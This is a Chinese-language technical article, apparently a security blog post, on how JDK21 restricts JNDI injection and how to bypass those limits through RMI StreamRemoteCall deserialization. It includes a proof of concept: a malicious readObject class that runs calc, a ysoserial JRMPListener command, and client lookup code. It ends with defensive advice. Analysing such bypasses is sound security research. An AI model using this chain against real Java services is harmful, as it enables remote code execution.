jdk21下的jndi注入
字数 832 2025-08-22 12:22:24

JDK21下的JNDI注入绕过技术分析

1. JDK21对JNDI注入的限制

1.1 对LDAP的限制

在JDK21中,decodeObject方法增加了安全检查:

static Object decodeObject(Attributes attrs) throws NamingException {
    Attribute attr;
    String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
    try {
        if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
            if (!VersionHelper.isSerialDataAllowed()) {
                throw new NamingException("Object deserialization is not allowed");
            }
            ClassLoader cl = helper.getURLClassLoader(codebases);
            return deserializeObject((byte[]) attr.get(), cl);
        }
        // ...其他代码...
    }
    // ...异常处理...
}

关键限制点:

  • 新增了VersionHelper.isSerialDataAllowed()检查
  • trustSerialData默认为false,禁止了LDAP反序列化攻击

1.2 对RMI的限制

JDK21对RMI工厂类攻击也增加了限制:

return NamingManagerHelper.getObjectInstance(
    obj, name, this, environment, ObjectFactoriesFilter::checkRmiFilter);

checkRmiFilter方法限制:

public static boolean checkRmiFilter(Class<?> serialClass) {
    return checkInput(RMI_FILTER, () -> serialClass);
}

默认只允许jdk.naming.rmi/com.sun.jndi.rmi.**包下的工厂类:

private static final String DEFAULT_RMI_SP_VALUE = "jdk.naming.rmi/com.sun.jndi.rmi.**;!*";

2. 绕过思路:利用StreamRemoteCall#executeCall()

2.1 漏洞点分析

sun.rmi.transport.StreamRemoteCall#executeCall方法中存在反序列化点:

public void executeCall() throws Exception {
    // ...代码省略...
    switch (returnType) {
        case TransportConstants.NormalReturn:
            break;
        case TransportConstants.ExceptionalReturn:
            Object ex;
            try {
                ex = in.readObject(); // 反序列化点
            } catch (Exception e) {
                discardPendingRefs();
                throw new UnmarshalException("Error unmarshaling return", e);
            }
            // ...异常处理...
    }
    // ...代码省略...
}

2.2 攻击条件

  1. 能够控制RMI连接返回的内容
  2. 使返回类型为TransportConstants.ExceptionalReturn(1)
  3. JRMP Listener可以满足这些条件

2.3 调用链分析

executeCall:234, StreamRemoteCall (sun.rmi.transport)
invoke:382, UnicastRef (sun.rmi.server)
lookup:123, RegistryImpl_Stub (sun.rmi.registry)
lookup:137, RegistryContext (com.sun.jndi.rmi.registry)
lookup:220, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:409, InitialContext (javax.naming)
main:8, Client

3. 攻击复现

3.1 准备恶意对象

package ysoserial.payloads;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilObject implements Serializable {
    private void readObject(ObjectInputStream s) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

3.2 启动JRMP Listener

使用ysoserial工具启动JRMP监听器:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 EvilObject

3.3 客户端攻击代码

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://localhost:1234/any_is_ok";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

4. 防御建议

  1. 升级到最新JDK版本
  2. 限制JNDI查找的可信来源
  3. 设置com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.ldap.object.trustURLCodebase为false
  4. 使用安全管理器限制反序列化操作

5. 总结

JDK21虽然加强了对JNDI注入的防护,但通过分析RMI底层实现中的StreamRemoteCall#executeCall方法,仍然可以找到绕过点。这种攻击方式利用了JRMP协议的特性,在特定条件下触发反序列化操作。

JDK21下的JNDI注入绕过技术分析 1. JDK21对JNDI注入的限制 1.1 对LDAP的限制 在JDK21中, decodeObject 方法增加了安全检查: 关键限制点: 新增了 VersionHelper.isSerialDataAllowed() 检查 trustSerialData 默认为 false ,禁止了LDAP反序列化攻击 1.2 对RMI的限制 JDK21对RMI工厂类攻击也增加了限制: checkRmiFilter 方法限制: 默认只允许 jdk.naming.rmi/com.sun.jndi.rmi.** 包下的工厂类: 2. 绕过思路:利用StreamRemoteCall#executeCall() 2.1 漏洞点分析 sun.rmi.transport.StreamRemoteCall#executeCall 方法中存在反序列化点: 2.2 攻击条件 能够控制RMI连接返回的内容 使返回类型为 TransportConstants.ExceptionalReturn (1) JRMP Listener可以满足这些条件 2.3 调用链分析 3. 攻击复现 3.1 准备恶意对象 3.2 启动JRMP Listener 使用ysoserial工具启动JRMP监听器: 3.3 客户端攻击代码 4. 防御建议 升级到最新JDK版本 限制JNDI查找的可信来源 设置 com.sun.jndi.rmi.object.trustURLCodebase 和 com.sun.jndi.ldap.object.trustURLCodebase 为false 使用安全管理器限制反序列化操作 5. 总结 JDK21虽然加强了对JNDI注入的防护,但通过分析RMI底层实现中的 StreamRemoteCall#executeCall 方法,仍然可以找到绕过点。这种攻击方式利用了JRMP协议的特性,在特定条件下触发反序列化操作。